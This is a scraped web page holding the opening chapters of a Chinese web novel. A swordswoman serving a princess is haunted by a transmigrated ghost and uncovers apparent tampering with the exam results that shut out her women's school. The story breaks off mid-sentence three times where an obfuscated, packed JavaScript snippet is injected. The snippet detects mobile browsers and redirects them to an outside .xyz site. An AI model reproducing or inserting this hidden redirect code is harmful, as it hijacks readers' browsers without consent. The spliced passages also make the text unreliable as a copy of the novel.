《急!被男鬼缠上怎么办GB》 1. 第 1 章 闺秀剑 刀剑碰撞的轻响,骤然刺破了宁静的夜色。 屋顶上,二人快剑乱刀,缠斗得不相上下。 邹鸣沁的每一招都直击对方要害,可惜皆被他闪身躲过。 但她还是逐渐占了上风——邹鸣沁很清楚,不能再继续拖下去了。 她必须以最快速度结束这场僵持。 正当此时,对方抓住了她似乎走神的这一瞬间,手中剑直直挑向她的脸。 邹鸣沁微微后倾,转而抬起左臂,以极其刁钻的角度将剑捅进了对方的左肩—— “喝啊!” 剑锋堪堪刮过脸颊,刺破了她的面纱。 她心下知晓,对方这一剑不可能再有余力。 于是,不仅丝毫不避,而且再度用力一转手腕,让自己的剑更深地旋进了那人体内。 “呃!”对方明显吃痛。 邹鸣沁要的是活捉,方才转手腕,也正是为了让剑能更深地卡在此人体内,好让他无法轻易逃脱。 然而,正当她要乘胜追击时,对方忽然从袖中抽出了什么。 一阵浓且呛人的白烟蔓延开来。 邹鸣沁被熏得不得不闭眼,心下自知不妙,下意识抓紧了剑柄。 却还是感觉到,对方用尽全力地将身一扯,挣脱开来。 她心知,一旦让此人逃跑,再要找就难了,于是全力向前一刺。 对方的剑挡住了她,擦出“叮咣”一声脆响—— 不知是不是烟雾导致了幻觉,邹鸣沁竟觉得,那声响不止是在她的耳边,还在她脑中同时敲了一下。 烟雾好一会儿才散去,邹鸣沁忍着双眼的干涩疼痛,四下找了找那人的踪迹。 除去最初几步留下了一些血迹之外,后面再无可追的踪迹。 以防被敌人设局,加上她也不确定那阵烟雾是否有毒。 邹鸣沁细想片刻,还是围上了兜帽,重新隐入黑夜。 . . 她从开着的窗口跳进房间里,立即关紧了门窗,而后将身上沾了血的斗篷和轻甲摘下。 面纱被勾破,露出邹鸣沁的下半张脸来。 烛光下,脱去伪装的人,有着一副雪白端正的面容。 单看外表,一点不像方才身手敏捷的剑客,而全然是位弱柳扶风的闺秀。 ——当然,邹鸣沁也确实是位“闺秀”。 邹鸣沁是当朝上一任丞相邹伦的独女,本该过着锦衣玉食的生活。 不过,她爹早早死于一场大病,自己唯一的兄长也早早夭折。 不得已,母亲楚嫦只好变卖府宅、遣散家仆,带着邹鸣沁搬到了她从前买下的一栋小院里。 楚嫦心里门儿清,知道那些名声、架势都是虚的,只有自己与邹鸣沁此后的日子是真的。 她虽出身显贵,却也为生活学会了织布。至于此前存下的钱,都分毫不吝地砸到了邹鸣沁身上。 是以原本是个病秧子的邹鸣沁,不仅强健了体魄,练成一身武艺,而且也没落下该读的诗书。 至于她刚刚为何要与一位不知名的剑客缠斗……这就要从两年前,邹鸣沁投入晴瞬公主门下说起了。 晴瞬公主由梅妃所生,自幼聪慧。她及笄后,更是得了皇帝特许,临朝参政。 邹鸣沁既是丞相之女,又饱读诗书,心底怎么可能不想着入仕的那一天。 得知晴瞬公主唯鉴贤才,不看性别后,她便投入其门下,秘密做了公主的幕僚。 在外替晴瞬公主行事时,她会戴上面纱,以“铭覃”身份示人。 “今日守宋太傅府,果真有人行刺。虽拦下并重伤,然未能抓捕。” 邹鸣沁提笔在一张纸条上写完,等不及墨迹干透,便打开窗吹了个口哨,唤来一只白鸽。 这是她平常用于与晴瞬公主联络的飞鸽。 她把纸条塞进鸽子腿上系着的竹筒里,放走它,而后重新回到书桌前思考。 两年以来,晴瞬待她宛如至交好友,也越来越重用她。 去年晴瞬开始在朝中推行新政,倡办女学、招用女官。 邹鸣沁正是作为她的代理人开办了京中第一家女子学堂,今年春试,她也和学生们一同参与了第一届男女同考。 明早就是放榜之时。 她们很看重这次考试,也知道这个过程中极易有人浑水摸鱼、趁机捣乱。 因此,在考试结束后,邹鸣沁便一直住在这所客栈,负责监视主考官——宋太傅。 既是为了监察宋太傅本人的动作,也是为了防止有人要对他下毒手。 果不其然,今夜便有人出手了。 可惜,邹鸣沁最终还是疏忽了一时,不慎放跑了那位刺客。 “也不知道,会不会有什么后患。” 想到这里,邹鸣沁不免有几分烦闷。 她本是势在必得,故而并不介意把脸露出来。 不料人没抓住,若是那人记住了她的脸,知道她就是邹伦的女儿,指不定日后还会惹出不小的麻烦来。 “哈——啊……” 此时,她身后忽然传来了懒懒的哈欠声。 不知从哪里刮来一阵阴恻恻的风,桌上烛光一跳,险些熄灭。 邹鸣沁浑身一僵。 没记错的话,她方才放走鸽子后分明关好了门窗,屋子里哪来的风? 而且,此人若能在她无知无觉的情况下进屋,武功必在她之上。 还是说,此人在她回到屋里之前,就已经在这间房中潜伏着了? 她飞快思考着对策,一边拎剑一边转身。 剑锋所指那一侧,是一个姿态懒散的男人。 不对,等等……那是人吗? 那人身形虚浮、足不触地,浑身上下竟然是半透明的,隐约可见他身后的柜子。 烛火映照之下,他没有影子。 “啊……你继续,我不打扰了。” 见她用剑指着自己,那男人干笑了两声,竟缓缓举起双手来。 “我就是困了,打个哈欠……啊哈哈,你瞧这事儿闹得。” 邹鸣沁并不理会他的话。 任是武力再高强的高手,也难以做到这副姿态。 难道,是什么不为人知的江湖秘法,障了她的眼? 是人是鬼,刺一剑便知! 她凝眸,举着剑往前用力一送。 只见剑身虚虚穿过了那人的身体,然后随着她的力,实实地钉进了他身后的木柜子里。 “哎哎哎!”他连忙叫了几声,双手一下子举得更高,仿佛真被她刺中了似的。 “你不是人。”邹鸣沁道。 那男人、不,那男鬼老老实实地点了点头。 “还是说,”邹鸣沁仍然持着剑,话锋一转,“你是刚刚那刺客的同伙,给我施了障眼法?亦或是那阵烟雾的效用?” 男鬼双手合十,对着她拜了两拜。 “都不是,大侠您明鉴哪!我只是个孤苦无依、刚穿越过来的倒霉蛋。” 说完,他还小声嘀咕着补了一句。 “我连你是谁,都还不知道呢……” 这番无事生非的言论,在邹鸣沁听来相当诡异。 但她一时间也没办法用别的方法证明,自己到底是不是中了什么幻术。 眼见当下这男鬼也不像是要捣乱的样子,就算要捣乱,她的剑都刺不中他,只怕暂且也拿他没办法。 这样一想,邹鸣沁便定了定心。 既然如此,不如先好好盘问清楚。 “你怎么会在这里?什么时候来的?” 男鬼似乎很怕她那柄剑,往旁边飘了飘,答:“我不是你们这儿的人,刚来到这儿。刚刚我的系统说,你是我的攻略对象。我得从鬼开始奋斗起,要么帮你实现愿望,要么攻略你……呃,简而言之,就是让你喜欢我,才能化得人身。” 他话语中提到的好几个词,都是邹鸣沁从未听过的。 她勉强理解了一番他的意思,皱起眉头来。 “你的……嗯,系统?那是什么东西?” 男鬼接着老老实实答:“就是一个存在于我们之上的东西,不是人也不是鬼……我是它的宿主,得听它的才能好好活下去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406397|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“为什么它会选中我?”邹鸣沁道。 “我不知道……它也没和我说啊。” 男鬼挠了挠头,又懒懒散散地打了个哈欠。 邹鸣沁这次倒是完全读懂了他的意思:我也没得选的,要是可以,我也不想这样啊。 “反正你放心吧,我不会害你的。嗯……你贵姓是邹吧?” 他认认真真地拍了两下胸口。 “邹小姐,你也可以告诉我,你的愿望是什么?我指不定还能帮你呢。” 帮她? 邹鸣沁挑了挑眉,却没有说话。 方才她也注意到了他所说,如果他能帮她实现愿望,就能化为人身。 但在她的经验里,人们与天道、鬼神做交换,是必须要十足谨慎的。 因为,这看似是一条捷径,可人要付给天道和鬼神的代价是什么,谁又知道呢? “我的愿望不需要你帮我实现,我也不会爱上你。” 邹鸣沁直截了当地坦言道。 “所以,你换个人选吧。” 那男鬼愣了愣,似乎在认真思考这一说法的可行性。 他闭上眼,皱着眉顿了一会儿,仿佛在和什么看不见的东西交流。 嗯……或者说,更像是在吵架。 “呃啊啊啊烦死了……” 没过多久,疑似吵架完毕,男鬼转身锤了两下墙,可惜因为没有实体,愣是没锤出半点声响。 “我的系统说换不了。”他叹了口气,“总之,邹小姐,辛苦你忍耐一下了。” 邹鸣沁:? “我以后可能要一直这么跟在你身边。”男鬼有点无奈地说道。 邹鸣沁仍然皱眉:“跟在我身边……直到我找你许愿,或者我爱上你为止?” “啊……大概是这样?”男鬼显然自己都还没搞清楚,再叹一口气。 接着,似乎是怕邹鸣沁误会,他又连忙摆摆手,急道,“不过,你不用刻意帮我的!” 邹鸣沁本来想说,自己倒也没有要刻意帮他的想法。 但这么说属实有些伤人,于是她默默咽了下去。 “我现在来到了这儿,无亲无故的,没什么牵挂,说实话也没那么想成人。何况,成人也不见得就是件好事——像现在这样,不用和人社交,不用努力学习工作,虽然有点无聊,但摆烂躺平也还挺爽的。” “那,我最后再确认一件事。除了我,其它人能看到你、听到你吗?” 如果这只鬼从此要跟在她身边,那么免不了会知道她在做的事情。 邹鸣沁并不希望他的存在会增加自己行动的风险。 男鬼急忙连连摇头:“仅你可见。” “好。”邹鸣沁点点头,“你叫什么名字?” 这就是要正式认识的意思了。 “我叫姜折阔。生姜的姜,折断的折,广阔的阔。”男鬼姜折阔自我介绍道。 “好的,姜折阔。”邹鸣沁认真道,“我允许你跟着我,但有几件事。” “第一,在我做事的时候,不要打扰我; “第二,不许吓唬我; “第三,最重要的一点。不该做的事情,不要想着对我做。非礼勿视、非礼勿听、非礼勿言、非礼勿动。懂?” 姜折阔也毫不敷衍地点头。 “没问题!我在的时候,你就当我是一团空气好了。” 话音刚落,便见邹鸣沁点了点头,随即走到桌前开始擦剑上的血迹。 她仔细擦完,而后便抱着剑倚靠床头,闭目养神起来。 整个过程里,全然是如他所说,把他当成了空气一般。 真是令人咋舌的满满执行力啊…… 这邹小姐多少得是个ESTJ吧! 姜折阔目瞪口呆,但也没多想。 正好他刚刚就已经困得不行,干脆也跟着她,趴在桌上睡着了。 殊不知,邹鸣沁就是这样的性子。 以最快的速度解决没那么重要的事,而后养精蓄锐,把精力留给更难打的硬仗。 比如……天亮之后,春闱结果的公布。 2. 第 2 章 黄榜疑 寅时三刻,邹鸣沁便睁开了双眼。 昨夜她放走鸽子时,是掐过点的。 按照晴瞬公主平日就寝的习惯,若是路上没出什么意外,这会儿也该有回信了。 邹鸣沁打开窗,外头还是一片漆黑。 她转头,看见桌子上趴着个半透明的姜折阔,心里多少还是有些五味杂陈。 休息了一晚上,自己仍然安全无虞。 要说是毒或障眼法,显然已经不太可能。 ……居然真的是只如假包换的男鬼。 并且,她还允许了他缠在自己身边,看来一时半会是摆脱不掉了。 “咕咕。” 伴随着扑棱翅膀的声音,是飞鸽回来了。 邹鸣沁走到窗前,打开竹筒,取出里面的纸条。 “保重安全,隐匿踪迹,暂撤回府。吾已加派暗卫,待卿归。” 晴瞬公主的指令和她预料中区别不大。 邹鸣沁三两下收拾好东西,正要出门,看到还在睡觉的姜折阔,心中犹豫了一瞬。 她就这么走了,不叫醒他,是不是不太好? 但也只是顿了一下,邹鸣沁还是戴好了新的面纱,背上剑走了出去。 算了,他既有所谓系统相助,估计有的是办法找到她。 再者,要是他因此找不到她,对邹鸣沁来说也算好事一桩。 至少省心了很多嘛。 天光微亮时,邹鸣沁回到了当今的邹府。 “娘,我回来了。”她一眼就看到庭中站着的女人,忙上前叫住了她。 楚嫦转过身,见是邹鸣沁,眉头舒展开来:“臭丫头,舍得回来了?” 不过,她的眉头只舒展了一瞬,又紧紧皱起来。 “你身上血腥气这么重,受伤了?” 楚嫦握紧邹鸣沁的手,连忙查看她身上有没有伤口。 “不是我的血,娘亲。”邹鸣沁赶紧拍拍她的肩,表示安慰。 “虽然,那是你我的贵人……可我还是要说,殿下怎么总是为你派遣这样危险的任务?” 楚嫦虽然不知道她具体在做什么,但也清楚邹鸣沁是在为晴瞬公主做事。 “诶诶,此言差矣。”邹鸣沁哄道,“殿下可比我自己还惦记我这条小命呢。娘,您也相信相信我,我行事一向有分寸,不会让自己落入险境的。” “知道。”楚嫦叹了口气,不和她计较,“你今日回来,是因为放榜的事吧?” 邹鸣沁点点头。 “希望一切顺利。”楚嫦握着她的手,喃喃道,“你若能成功入仕,也算你我母女二人心愿得成。” . . 在楚嫦的推掇下,邹鸣沁严格按照礼法,做了最全套的焚香、沐浴,还去祠堂好好拜了拜列祖列宗。 做完这一切,邹鸣沁和楚嫦刚走出祠堂,便见平日伺候楚嫦的丫鬟长锦跑了过来。 “小姐,鸿雁学堂的连恻老师来了,我让她在正厅等您。” “好,我这就去见。”邹鸣沁朝长锦点点头,又向楚嫦挥了挥手示意。 连恻和她一样,也是晴瞬公主的幕僚。 邹鸣沁是鸿雁学堂的主办人,但平日里并不出面。 连恻的身份则不必像她那样遮遮掩掩,故而她也负责在学堂中教书。 “鸣沁,吉时快到了。殿下已经叫人预备好了房间,我们现下过去,估摸着也差不多了。” 见到她,连恻站起身来作完一揖,说道。 邹鸣沁点点头,也不再耽误时间,便直接同她出了门。 一些邻居看见了,都祝福道:“邹小姐,祝你高中啊!” 她笑着停下脚步,端庄地行了个回礼:“谢谢您。” 她参加科举的事,周围这些街坊邻居都是知道的。 邹鸣沁表面上也的确是鸿雁学堂的首批学生之一,故而此时看见她与连恻一同出行,无人见怪。 一路到了晴瞬公主为她们准备的房间,邹鸣沁走进去,还看见了好几名女学生。 “老师!”她们朝连恻问过好,又亲昵地围住了邹鸣沁。 “邹鸣沁,你上次生病之后,好久都没来学堂了!怎么也来看榜?病终于好啦?” 邹鸣沁捂嘴笑着:“我也考了试啊,凭什么不能来?” “说起来,我可真是紧张。”其中一名叫霍慈的女学生道,“我们写的东西,真能比过那些读了十年书的男书生么?” 其她人纷纷道:“算了,比不过就再说嘛!明年、后年,又不是没得考了。” “要我说,为何非要男女同考呢?若是能男女分开考,分开录取,岂不更好?”霍慈道。 邹鸣沁却摇了摇头。 “此前惟有男子才能读书、考试、做官,若女子也要进入这官场,就必须要与他们同考。否则,便永远没有证明我们考得过他们的机会,也就自然证明不了我们一样能读好书、考好试、做好官。” “是的。若是连这点都证明不了,就算能够分开考试、分开录取,只怕女官们分配到的职务,也是完全无法与男官们相比的。” 连恻接话道。 “换而言之,他们能做实事,我们挣得头破血流,也只能担个虚职。” 她的话说完,外头忽然隐隐约约响起了鸣锣的声响。 “礼部的仪仗到了!”邹鸣沁道。 果然,那锣鼓声由远及近,礼部官员走在前方,率领着一众人员,带着黄榜走来,阵仗很是隆重。 屋里的姑娘们一时间忘记了方才讨论的话题,注意力都聚焦到了黄榜上。 她们围在窗边,静静盯着朝这边走来的仪仗队伍,心里却还在催促,恨不能让他们再快一点。 楼下,张贴黄榜处的周围,已被人们围得水泄不通。 当礼部官员们走近时,众人都自觉地让开了一条通道。 锣鼓喧天,鼓乐齐鸣。 领头的几位官员打开手中巨大的黄榜,站上高处,将它张挂到墙上。 晴瞬公主为她们找的房间位置很好,不仅免去了在榜下人挤人的麻烦,而且,从这扇窗,正好能看见黄榜,却又不至于被提前搭建、用于防雨防风的“龙棚”挡住视线。 但是…… “咦?邹、鸣、沁……这榜上,怎么找不到你的名字啊?” 一个含着困意的声音忽然在她头顶上响起,咬字里还带着几分熟悉的慵懒。 邹鸣沁猛地向上看去,果然是姜折阔。不知道他是什么时候出现的。 她没工夫和他废话,接着一目十行地看榜。 “连恻老师,榜上有你,我看见了!”忽然,霍慈叫道,“可是,这排名怎么那么后……” 连恻确实榜上有名。 可是,除了她之外,她们整个鸿雁学堂,竟再无一人上榜。 邹鸣沁后脊发寒,手心却在冒汗。 长这么大以来,她第一次怀疑自己的眼睛。 邹鸣沁下意识想要从头再看一遍,头顶上的鬼就又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406398|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出声了。 “邹小姐,我看了三遍了,榜上没有你的名字。” 姜折阔看上去也十分讶异。 “这不对吧,我系统说你是卷王+天赋怪来的。你是不是被人做局了?” 被人做局? 除此之外,不会再有第二个答案了。 邹鸣沁回过神来,屋内的姑娘们虽然都在为连恻贺喜,但包括连恻本人在内,众人的脸色都很难看。 “哎呀,没事……刚不都说了吗?”霍慈干干地笑了两声,“明年、后年,都还有得考呢。” 她这话一出,大家都勉强振作了些,赶紧互相打哈哈、当作安慰。 邹鸣沁轻轻拍了拍连恻,二人对视了一眼。 “好了,你们先回学堂吧?大家都还等着消息呢,好的坏的,好歹都回去告诉她们。” 连恻拍了拍几个学生,又陪她们说了一会儿话。 把学生们送上马车后,邹鸣沁披上披风,取出面纱戴上,同连恻坐上了另一辆马车。 “去公主府。” 马车微微颠簸,她的思绪渐渐清晰了些。 邹鸣沁毕竟还年轻气盛,这又是她多年的执念,本以为板上钉钉的事却完全出乎了意料,她难免被过度的落差感转移了注意力。 不过,细想下来,此事绝对有蹊跷。 鸿雁学堂虽然初建一年,但其中任教的老师,大多都有深厚的备考科举的经验。 她和连恻,还有刚刚在场的那几位女学生,都是学堂老师们一致认为不可能落榜的考生。 而她们的落榜,也并不像“明年后年还能考”说的那样、只是关乎她们个人前途这么简单。 晴瞬公主自参政以来,手握权势愈大,风头几乎盖过了其它皇子。 太子未立,一切皆有可能——即使,在此之前,从未有一个女人成为太子,或是皇帝。 此等情况下,晴瞬公主所面临的各方阻力可想而知。 推行女学女官的政策,是第一步,也是最重要的一步试探。 这意味着她不仅是招揽,此后她还要在朝中真正放置,并且任用自己的势力。 落实这一政策所遇到的阻碍,比想象中还要多。因此,她们努力了一年多,也只建起了鸿雁学堂这么一处女子书塾。 而男女同考存在的意义,就是为了证明女官的竞争力。 如果她们之中真的只有连恻一人上榜,那么明日朝堂上,无数官员便有了最正当的理由,可以从根源上否认女学女官政策的合理之处,进而要求废止新政。 “那样的话,我们就前功尽弃了。”邹鸣沁喃喃道。 一股微微的凉意拂过她的肩膀,轻得像是不存在:“邹小姐,你做得已经很好了。这件事一定会有转机的,慢慢来吧。” 邹鸣沁被这股不同寻常的寒意惊了惊,一看,果然是姜折阔在拍她的肩。 “谢谢。但能离我远一点吗?你很冷。” 她一时间忘了马车里还有个连恻,忍不住道。 她语气并不重,但姜折阔还是平白有些郁闷和委屈。 “哦。” 苍天大地,他以前在现代虽然不是什么万人迷,但也不至于这么招人嫌吧?! 这就是当鬼的待遇吗,心好凉。 姜折阔默默飘到了马车另一角呆着。 “鸣沁?你在和谁讲话?”连恻有些不解地开口。 邹鸣沁默默垂眼,心想,姜折阔这等玄异的存在,还是不说为妙。 3. 第 3 章 公主府 马车兜入一条小巷里,停在了公主府最隐蔽的一扇门外。 邹鸣沁和连恻顺利进府,走进议事厅的时候,里头已经乌泱泱坐了不少人。 吕晴瞬端坐在最中间的主座上:“你们来了。” 二人行过礼,找到空位坐下。 “既然人齐了,就开始议事吧。”吕晴瞬道,“方才会试揭榜,诸位可都看过了?” “殿下,我认为,当下的情况已足够说明,我们不该再把注意力都放在鸿雁学堂上了!” 一位三十岁左右的男子说道。 姜折阔也跟着邹鸣沁进了厅中,见这人形色激动,便八卦道:“这人谁啊?” 邹鸣沁轻咳了一声。 姜折阔知道她不可能出声回答自己,只好百无聊赖地接着听。 男子续道:“殿下,我们在鸿雁学堂花了不少人力物力,如今的结果,大家都不愿看到,但也是当初预想过的最坏局面……因此,我以为……” “这人怎么说话这么不利索,表达观点前还要先叠三层甲,跟我水课教授上课吐槽领导有得一拼。无聊。” 姜折阔打了个哈欠,干脆飘到她手边的茶台上,又趴了下去。 邹鸣沁:?这就又睡下了? 算了,她也乐得少管一只鬼。 说话的男子叫王洞,一向和她不太对付。 他一直认为鸿雁学堂的建设是徒劳无功、事倍功半,而更希望晴瞬公主能把注意力多放在军队身上。 “王大人,我且说一句。”邹鸣沁开口道,“如今会试虽然有了结果,但未必是真正可信的结果。办学一年以来,成果究竟如何,诸位理应有目共睹。” 王洞冷哼一声:“你是觉得,在殿下几番布局、监视下来,还能有人做到偷天换日、篡改结果不成?” 邹鸣沁闻言皱眉:“王大人可要慎言,当心祸从口出。纵使监管再严密,还是出了这样的结果,不是么?” “你!”王洞一拍桌案,厅中不少人都唬了一跳。 被唬住的还有趴在茶台上、刚睡着不久的姜折阔。 “结果如此,便说明我们肯定在什么环节出了纰漏。”邹鸣沁巍然不动,伸手拿起茶杯,顺带屈起手指,隔空点了点姜折阔的额头。 姜折阔一脸懵地被吵醒,还未反应过来,又被邹鸣沁隔空点了两下,也不知道她什么意思,更懵了几分。 她喝了口茶:“我认为,鸿雁学堂既已走到这一步,便不能因这会试的结果而退回去。否则,这一年来,前功尽弃。” “铭覃说得对。”吕晴瞬适时开口,“王洞,你冷静些,当下是大家一同解决问题要紧。” “殿下,我……”他还没说完,便被吕晴瞬打断:“好了,本宫现在问的是会试的事!” 王洞收了声,邹鸣沁便接着讲。 “朝中诸多人本就对新政有不小的异议,若我们就此退却,新政还能不能推行下去都不好说。” 吕晴瞬道:“不过,王洞说的也有道理。现下既然出了这种事,调查是必要的,但不能在明面上。” 连恻道:“殿下,不如表面上顺应这一结果,暗中则派人去查。” “而这期间,也可以腾出精力来发展其它事务,至少军队那边……”王洞又道。 吕晴瞬忍无可忍,斥道:“本宫是要扩张势力,不是起兵造反!这时候若在私军上大动干戈,难道你就受得起圣上的猜忌?蠢物!” 王洞彻底安分下来。 众人再议了一会儿,大概有了些眉目。 吕晴瞬扶额,说自己困乏了,便遣散众人,只让邹鸣沁留下。 “其实本宫知道,军队是最要紧的,若被本宫那几个皇兄皇弟先握了兵权,其它的东西便都是虚的了。” 连婢女也只是远远跟在后头,邹鸣沁扶着吕晴瞬往卧房走。 “然而,王洞只能见到此处之缺,却看不到彼方之溢。殿下在朝中是众矢之的,无数双手都想拉您下来。唯有先将您在朝堂的位置稳固下来,才好再去谈军事。” 她准确地点出了吕晴瞬的难处,惹得这位公主大叹一声:“这就是本宫为何要扶持你,还有连恻这些人。王洞读的是死书,脑中的道理也是死理,他如今也就只剩下忮忌你们的份了。” “再者,他是个男人,便不会懂一个女人站在朝堂上,比一个男人站在朝堂上,要多出的那些个难处。” 吕晴瞬冷笑了一声。 “本宫的兄弟,就从来少有先结党,还是先养兵的疑虑。” 邹鸣沁不语,只是继续扶稳她的手。 “黄榜之事,必有蹊跷,不仅要查,而且要暗查、速查。”吕晴瞬认认真真看着她,“此事,我不信别人,便交由你来办。” 说到这里,她唤了自称,变成了更亲昵的“我”。 她一直把邹鸣沁当好友,故而私下总是会放下那些礼仪,用更亲近的姿态与她相处。 “是。”邹鸣沁应下。 “不过,办不办得成是一回事,你自己的安全是另一回事。昨夜那场打斗,没伤着吧?真是……我明明派了暗卫的。” 吕晴瞬提起这事,反倒有些紧张起来。 邹鸣沁笑道:“没伤着。只是没抓住人,实在可惜。现下看来,或许那刺客和今日的事脱不了干系。而且,还有一事……打斗时他刺破了我的面纱,不知有没有看清我的脸。” “算了,这倒不是什么大事。”吕晴瞬道,“你查清这件事,遇到任何危险都不要逞强,行动有不确定的,随时传信给我。过一会儿,我会点一小支暗卫,在暗处跟随、保护你,配合你行动。你看如何?” 邹鸣沁点头:“此事,我一定会查清。” “切记不要声张,包括我们内部的人。”吕晴瞬道。 邹鸣沁心下了然,她知道吕晴瞬的顾虑。 公主的幕僚虽然大多都还算忠心,但内部隐隐有冲突之势,这在她和王洞身上就足以体现出来。 吕晴瞬当下对王洞的信任和耐心,已然快要消耗殆尽。 甚至可以说,她已经在寻思着,要如何淡化王洞在这一集体中的作用和地位,只是还苦于找不到他的马脚。 至于连恻这一类人,虽然值得信任,但此事让太多人知道得太详细,总归没有益处。 若不是万不得已需要支援,还是低调为好。 转眼间,她们已从议事厅走到公主卧房门口。 “殿下,您好好休息。”邹鸣沁道。 “嗯。这些日子,辛苦你守在宋太傅那儿,你一定也劳累了,快回去歇歇吧。” 吕晴瞬笑道。 “也该陪陪你母亲,楚夫人在府中想必总是牵挂你。” “我知道的,多谢殿下关怀。”邹鸣沁笑了笑。 “还有,我知道我很啰嗦了——但是,你还是要千万保重,不要……” 吕晴瞬还要再强调一遍,邹鸣沁却难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406399|184487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得胆大包天地截了她的话。 “知道、知道,我定不劳公主殿下烦心。” 她笑着拍了拍吕晴瞬的手背,吕晴瞬一愣,随即同她一起笑出了声。 . . 邹鸣沁穿过回廊,快要到达公主府门口时,忽然想起了姜折阔。 方才一路,他似乎都没跟在她身旁。 她四处看了看,忽然福至心灵地想:难道他还在议事厅的茶台上睡觉? 不是吧?! 邹鸣沁方才顾着正事,丝毫没注意他的动向。她已经初步适应了身边跟着一只男鬼的生活。 要不就直接走掉?反正过一会儿,他指不定就又会自己出现在她马车上了。 她早上的时候把他丢在客栈里,他不也自己回来了吗? 邹鸣沁犹豫了两下。 鬼使神差的,她还是转过身,特地绕回了议事厅。 议事厅外只有公主府的洒扫小丫鬟,说里头没人。 但心善的小丫鬟还是答应了她奇怪的要求,帮她开了门。 邹鸣沁径直走到茶台跟前,果然,姜折阔就在此处。 虽然里头没人,但是还有鬼啊! 他还真是在这儿睡觉呢。 而且看样子,还睡美了——她记得,他刚睡下的时候还是紧贴着茶台桌面的,这会儿已经飘飘然到半空去了。 人,不,鬼怎么能困成这样。 他变成鬼之前到底是有多缺觉? 邹鸣沁默默腹诽,而后转身环视一圈,确认周围无人之后才在茶台上叩了两下。 “喂,醒醒。” 姜折阔微微睁开惺忪的睡眼:“干嘛?” 干嘛? 这话莫名把邹鸣沁逗乐了。 她又乐、又颇有几分无语地说:“回家了。走不走?” 姜折阔又眨了两下眼。 “还是说你要继续在这睡?那我以后都不叫你了?”邹鸣沁道。 “不。” 姜折阔一口回绝,伸手把一头睡乱的短发捋顺,这才爬起来伸了个懒腰。 “那我跟着你回家睡。” 邹鸣沁应了一声:“那就动作快点。” 一人一鬼走出议事厅,邹鸣沁特意谢过小丫鬟,这才出了公主府。 上了马车,姜折阔看起来才清醒了些。 他坐在她旁边,支支吾吾想说些什么,却又总是刚张口就闭嘴了。 “想说什么?”邹鸣沁挑明了问。 她直视着姜折阔,不知为何,他却反而不敢看她的眼睛。 姜折阔小小声道:“那个……我就是想问问你。邹小姐,你今天开会的时候干嘛要戳我两下啊?” 戳他两下?邹鸣沁回忆了好一会儿,才想起自己是在议事时点了点他。 “哦,那不是你被王洞吵醒了吗?我想着让你接着睡,他说话就爱那样,不影响。” 邹鸣沁解释道。 “我当时不能和你讲话,就这样做了,也不知道你会意没。” 姜折阔闻言,头垂得更低了。 他挠挠头,声音不知为何也更弱了些:“啊,这个……” “不过,”邹鸣沁忽然笑了起来,“我看你后面也确实没被影响,睡得还挺实啊。” “嗯……啊啊,我……” 姜折阔似乎想要说什么。 不过,一直到马车驶至邹府门外,他最后也没能说出来。 4. 第 4 章 小叔闹 邹鸣沁下了马车,走进院子里,忽而听到屋里头传来一阵放肆粗鲁的笑声。 听声音,是个男人。 她进了正厅,最先看到长锦迎上来:“小姐,您总算回来了。” “哟!鸣沁啊,你回来啦?” 还没等她说话,正厅客座上的男人已然大声唤道。 “来来来……好姑娘,快让小叔看看你!” 原来是他。 男人骨相消瘦,生得贼眉鼠目,偏生那一肚子里又满是油水,给人一种脸与身子不相匹配的割裂感。 “这男的看着不像好人啊。” 姜折阔跟在她身旁,偷偷同她说道,语气中颇有嫌恶之意。 还真说对了,确实不是什么好人。邹鸣沁心想。 她父亲邹伦出身寒门,有两个不成器的兄弟,这邹亮就是其中之一。 邹伦还未逝世时,这两个人就一直缠着她们家,怨邹伦直上青云却如此狠心,对他们既不帮扶、也不提携。 邹伦逝世,母亲楚嫦变卖宅府时,二人还来闹过一次。 那时她们母女孤立无援,只好破财消灾。 这么多年,他们拿着那一笔钱,不知去了何处逍遥,再也没有来找过她们。 当然,也可能并不是没找过,而是找不到—— 毕竟楚嫦和邹鸣沁,在不久后就搬到了现在的小院子里。 此事楚嫦做得很低调,自然也就更不可能上赶着去通知他们。 现下邹亮突然找上门来,大抵是因为知晓了她参加科举的事,于是故意找人打听到了她们母女的所在之处。 “小叔登门拜访,怎么如此突然,也不提前告诉我们一声?” 邹鸣沁端起滴水不漏的微笑,走到楚嫦身侧坐下。 邹亮举起茶杯痛饮一口:“这不是今日春试放榜嘛!你是长兄之女,如今要奉行他的遗志,我这做小叔的,免不了心中关切,怎么能错过呢?” “那鸣沁的过错可就大了,不但让小叔失望,还叫您白跑了一趟。” 